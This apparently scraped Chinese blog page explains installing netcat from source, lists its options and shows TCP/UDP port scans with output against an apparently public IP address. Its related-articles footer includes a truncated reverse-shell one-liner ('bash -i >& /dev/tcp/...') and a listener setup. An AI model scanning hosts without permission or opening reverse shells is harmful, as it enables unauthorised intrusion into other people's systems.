netcat nc
http://pan.baidu.com/s/1bo2IH9X#netcat 云盘下载
[root@bass ~]# tar -xjvf netcat-0.7.1.tar.bz2 [root@bass ~]# cd netcat-0.7.1
[root@bass ~]# ./configure --prefix=/usr/local/netcat
[root@bass ~]# make && make install
[root@bass ~]# tree /usr/local/netcat/
/usr/local/netcat/
├── bin
│ ├── nc -> netcat
│ └── netcat
├── info
│ ├── dir
│ └── netcat.info
├── man
│ └── man1
│ └── netcat.1
└── share
└── locale
├── it
│ └── LC_MESSAGES
│ └── netcat.mo
└── sk
└── LC_MESSAGES
└── netcat.mo 10 directories, 7 files
[root@bass ~]# nc -h
usage: nc [-46DdhklnrStUuvzC] [-i interval] [-p source_port]
[-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_version]
[-x proxy_address[:port]] [hostname] [port[s]]
Command Summary:
-4 Use IPv4
-6 Use IPv6
-D Enable the debug socket option
-d Detach from stdin
-h This help text
-i secs Delay interval for lines sent, ports scanned
-k Keep inbound sockets open for multiple connects
-l Listen mode, for inbound connects
-n Suppress name/port resolutions
-p port Specify local port for remote connects
-r Randomize remote ports
-S Enable the TCP MD5 signature option
-s addr Local source address
-T ToS Set IP Type of Service
-C Send CRLF as line-ending
-t Answer TELNET negotiation
-U Use UNIX domain socket
-u UDP mode
-v Verbose
-w secs Timeout for connects and final net reads
-X proto Proxy protocol: "4", "5" (SOCKS) or "connect"
-x addr[:port] Specify proxy address and port
-z Zero-I/O mode [used for scanning]
Port numbers can be individual or ranges: lo-hi [inclusive]
扫描21-9000端口TCP:
[root@bass ~]# nc -v -w 2 192.168.1.35 -z 21-9000
-v 详细输出 -w secs timeout的时间 -z 端口的范围
扫描21-80端口UDP
[root@bass ~]# nc -z -v -u -n 122.56.183.103 21-80
Connection to 122.56.183.103 27 port [udp/*] succeeded!
Connection to 122.56.183.103 37 port [udp/*] succeeded!
Connection to 122.56.183.103 41 port [udp/*] succeeded!
Connection to 122.56.183.103 44 port [udp/*] succeeded!
Connection to 122.56.183.103 50 port [udp/*] succeeded!
Connection to 122.56.183.103 62 port [udp/*] succeeded!
Connection to 122.56.183.103 65 port [udp/*] succeeded!
Connection to 122.56.183.103 69 port [udp/*] succeeded!
Connection to 122.56.183.103 80 port [udp/*] succeeded!
扫描21-80端口TCP
[root@bass ~]# nc -z -v -n 122.56.183.103 21-80
Connection to 122.56.183.103 21 port [tcp/*] succeeded!
Connection to 122.56.183.103 22 port [tcp/*] succeeded!
nc: connect to 122.56.183.103 port 23 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 24 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 25 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 26 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 27 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 28 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 29 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 30 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 31 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 32 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 33 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 34 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 35 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 36 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 37 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 38 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 39 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 40 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 41 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 42 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 43 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 44 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 45 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 46 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 47 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 48 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 49 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 50 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 51 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 52 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 53 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 54 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 55 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 56 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 57 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 58 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 59 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 60 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 61 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 62 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 63 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 64 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 65 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 66 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 67 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 68 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 69 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 70 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 71 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 72 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 73 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 74 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 75 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 76 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 77 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 78 (tcp) failed: Connection refused
nc: connect to 122.56.183.103 port 79 (tcp) failed: Connection refused
Connection to 122.56.183.103 80 port [tcp/*] succeeded!
netcat nc的更多相关文章
- Nmap / NetCat(nc) / 网络安全工具
nmap - 网络探测工具和安全/端口扫描器 nmap [ <扫描类型> ...] [ <选项> ] { <扫描目标说明> } 描述 Nmap ("Net ...
- Linux 网络工具netcat(nc)的应用
NETCAT netcat是Linux常用的网络工具之一,它能通过TCP和UDP在网络中读写数据,通过与其他工具结合和重定向,可以在脚本中以多种方式使用它. netcat所做的就是在两台电脑之间建立链 ...
- NC / Netcat - 反弹Shell
原理 实验环境: 攻击机:windows机器,IP:192.168.12.109 受害机:linux机器,IP:192.168.79.1 攻击机:设置本地监听端口2222 C:\netcat>n ...
- NC / Netcat - 文件传输
文件传输:将文件从B用户机器传输到A用户机器. 实验环境1: A用户,windows系统,IP:192.168.12.109 B用户,linux系统,IP:192.168.79.3 A用户作为接受传输 ...
- nc(netcat)扫描开放端口
探测单个端口是否开放可以用telnet,专业探测端口可以用Nmap,而对于非渗透用途的Linux可以直接用netcat. 1.使用netcat探测端口是否开放 nc -z -v - #z代表不交互要不 ...
- 在linux下编译netcat并且反弹cmdshell(转载)
本地Windows监听 nc -vv -l -p 1234 首先从sf上get一个tar的压缩包 wget http://sourceforge.net/projects/netcat/files ...
- Centos下安装nc命令工具安装以及使用
1)netcat(nc)是一个简单而有用的工具,被誉为网络安全界的“瑞士军刀”,不仅可以通过使用TCP或UDP协议的网络连接读写数据,同时还是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有 ...
- nc命令的用法
1.什么是nc netcat(nc)是一个简单而有用的工具,可以使用tcp或者udp进行网络间读写数据,传输文件,接收发送数据,验证网络是否畅通. 2.命令行: 1) -l 用于指定nc将处于侦听模式 ...
- Linux下反弹shell的种种方式
[前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...
随机推荐
- Intent和Intent Filter Context
http://www.android-doc.com/reference/android/content/Intent.html An intent is an abstract descriptio ...
- 基于redis分布式缓存实现
Redis的复制功能是完全建立在之前我们讨论过的基 于内存快照的持久化策略基础上的,也就是说无论你的持久化策略选择的是什么,只要用到了Redis的复制功能,就一定会有内存快照发生,那么首先要注意你 的 ...
- stl 迭代器(了解)
STL 主要是由 containers(容器),iterators(迭代器)和 algorithms(算法)的 templates(模板)构成的. 对应于它们所支持的操作,共有五种 iterators ...
- codejumper的跳转代码
public void JumpToSource(vsCMPart location = vsCMPart.vsCMPartNavigate) { TextPoint startPoint = Ori ...
- WPF 窗体拖转时不触发MouseLeftButtonUpEvent
解决方案:手动添加Handler,因为e.Handled这个属性是用在路由事件中的,当某个控件得到一个RoutedEvent,就会检测Handled是否为true,为true则忽略该事件. //手动注 ...
- 移动web调式利器---Rosin研究
移动web调式利器---Rosin研究 阅读目录 关于Rosin Rosin在Fiddler中如何使用 回到顶部 一:关于Rosin Rosin是Fiddler的一个插件,它能接受页面中的JS的con ...
- codevs1080线段树练习
题目描述 Description 一行N个方格,开始每个格子里都有一个整数.现在动态地提出一些问题和修改:提问的形式是求某一个特定的子区间[a,b]中所有元素的和:修改的规则是指定某一个格子x,加上或 ...
- zstu.4191: 无向图找环(dfs树 + 邻接表)
4191: 无向图找环 Time Limit: 5 Sec Memory Limit: 128 MB Submit: 117 Solved: 34 Description 给你一副无向图,每条边有 ...
- Ubuntu 开机自启动工具 update-rd.d 使用详解
常用命令: $ sudo update-rc.d nginx defaults #增加服务 $ sudo update-rc.d -f nginx remove #移除服务 Linux ...
- HTTP长连接短连接
一.什么是长连接 HTTP1.1规定了默认保持长连接(HTTP persistent connection ,也有翻译为持久连接),数据传输完成了保持TCP连接不断开(不发RST包.不四次握手),等待 ...